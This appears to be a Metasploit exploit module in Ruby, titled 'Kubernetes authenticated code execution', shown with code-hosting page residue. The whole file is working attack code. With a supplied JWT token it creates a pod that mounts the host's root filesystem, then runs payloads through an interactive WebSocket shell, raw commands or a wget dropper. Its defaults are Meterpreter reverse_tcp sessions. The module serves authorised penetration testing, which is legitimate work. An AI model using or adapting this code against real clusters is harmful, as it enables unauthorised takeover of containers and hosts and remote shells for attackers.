288 lines
8.6 KiB
Ruby
288 lines
8.6 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Retry
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Remote::HTTP::Kubernetes
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Kubernetes authenticated code execution',
|
|
'Description' => %q{
|
|
Execute a payload within a Kubernetes pod.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'alanfoster',
|
|
'Spencer McIntyre'
|
|
],
|
|
'References' => [
|
|
],
|
|
'Notes' => {
|
|
'SideEffects' => [
|
|
ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk
|
|
CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created
|
|
IOC_IN_LOGS # a log event is generated if a new pod is created
|
|
],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ CRASH_SAFE ]
|
|
},
|
|
'DefaultOptions' => {
|
|
'SSL' => true
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Interactive WebSocket',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix',
|
|
'Type' => :nix_stream,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/interact'
|
|
},
|
|
'Payload' => {
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd_interact',
|
|
'ConnectionType' => 'find'
|
|
}
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix',
|
|
'Type' => :nix_cmd
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'linux',
|
|
'Type' => :nix_dropper,
|
|
'DefaultOptions' => {
|
|
'CMDSTAGER::FLAVOR' => 'wget',
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Python',
|
|
{
|
|
'Arch' => [ARCH_PYTHON],
|
|
'Platform' => 'python',
|
|
'Type' => :python,
|
|
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2021-10-01',
|
|
'DefaultTarget' => 0,
|
|
'Platform' => [ 'linux', 'unix' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RHOSTS(nil, false),
|
|
Opt::RPORT(nil, false),
|
|
Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),
|
|
OptString.new('TOKEN', [ false, 'The JWT token' ]),
|
|
OptString.new('POD', [ false, 'The pod name to execute in' ]),
|
|
OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),
|
|
OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),
|
|
]
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),
|
|
OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def pod_name
|
|
@pod_name || datastore['POD']
|
|
end
|
|
|
|
def create_pod
|
|
if datastore['PodImage'].blank?
|
|
image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
|
|
fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
|
|
else
|
|
image_names = [ datastore['PodImage'] ]
|
|
end
|
|
|
|
ready = false
|
|
image_names.each do |image_name|
|
|
print_status("Using image: #{image_name}")
|
|
|
|
random_identifiers = Rex::RandomIdentifier::Generator.new({
|
|
first_char_set: Rex::Text::LowerAlpha,
|
|
char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals
|
|
})
|
|
new_pod_definition = {
|
|
apiVersion: 'v1',
|
|
kind: 'Pod',
|
|
metadata: {
|
|
name: random_identifiers[:pod_name],
|
|
labels: {}
|
|
},
|
|
spec: {
|
|
containers: [
|
|
{
|
|
name: random_identifiers[:container_name],
|
|
image: image_name,
|
|
command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],
|
|
volumeMounts: [
|
|
{
|
|
mountPath: '/host_mnt',
|
|
name: random_identifiers[:volume_name]
|
|
}
|
|
]
|
|
}
|
|
],
|
|
volumes: [
|
|
{
|
|
name: random_identifiers[:volume_name],
|
|
hostPath: {
|
|
path: '/'
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]
|
|
|
|
@pod_name = random_identifiers[:pod_name]
|
|
print_good("Pod created: #{pod_name}")
|
|
|
|
print_status('Waiting for the pod to be ready...')
|
|
ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do
|
|
pod = @kubernetes_client.get_pod(pod_name, namespace)
|
|
pod_status = pod[:status]
|
|
next if pod_status == 'Failure'
|
|
|
|
container_statuses = pod_status[:containerStatuses]
|
|
next unless container_statuses
|
|
|
|
ready = container_statuses.any? { |status| status[:ready] }
|
|
ready
|
|
rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e
|
|
elog(e)
|
|
false
|
|
end
|
|
|
|
if ready
|
|
report_note(
|
|
type: 'kubernetes.pod',
|
|
host: rhost,
|
|
port: rport,
|
|
data: {
|
|
pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),
|
|
imageName: image_name
|
|
},
|
|
update: :unique_data
|
|
)
|
|
|
|
break
|
|
end
|
|
|
|
print_error('The pod failed to start within the expected timeframe')
|
|
|
|
begin
|
|
@kubernetes_client.delete_pod(@pod_name, namespace)
|
|
rescue StandardError
|
|
print_error('Failed to delete the pod')
|
|
end
|
|
end
|
|
|
|
fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
|
|
end
|
|
|
|
def exploit
|
|
if session
|
|
print_status("Routing traffic through session: #{session.sid}")
|
|
configure_via_session
|
|
end
|
|
|
|
validate_configuration!
|
|
|
|
@kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })
|
|
|
|
create_pod if pod_name.blank?
|
|
|
|
case target['Type']
|
|
when :nix_stream
|
|
# Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
|
|
websocket = @kubernetes_client.exec_pod(
|
|
pod_name,
|
|
datastore['Namespace'],
|
|
datastore['Shell'],
|
|
'stdin' => true,
|
|
'stdout' => true,
|
|
'stderr' => true,
|
|
'tty' => false
|
|
)
|
|
|
|
print_good('Successfully established the WebSocket')
|
|
channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)
|
|
handler(channel.lsock)
|
|
when :nix_cmd
|
|
execute_command(payload.encoded)
|
|
when :nix_dropper
|
|
execute_cmdstager
|
|
else
|
|
execute_command(payload.encoded)
|
|
end
|
|
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
|
|
res = e.http_response
|
|
fail_with(Failure::Unreachable, e.message) if res.nil?
|
|
fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
|
|
fail_with(Failure::Unknown, e.message)
|
|
else
|
|
report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
case target['Platform']
|
|
when 'python'
|
|
command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
|
|
else
|
|
command = [datastore['Shell'], '-c', cmd]
|
|
end
|
|
|
|
result = @kubernetes_client.exec_pod_capture(
|
|
pod_name,
|
|
datastore['Namespace'],
|
|
command,
|
|
'stdin' => false,
|
|
'stdout' => true,
|
|
'stderr' => true,
|
|
'tty' => false
|
|
) do |stdout, stderr|
|
|
print_line(stdout.strip) unless stdout.blank?
|
|
print_line(stderr.strip) unless stderr.blank?
|
|
end
|
|
|
|
fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
|
|
|
|
status = result&.dig(:error, 'status')
|
|
fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
|
|
end
|
|
end
|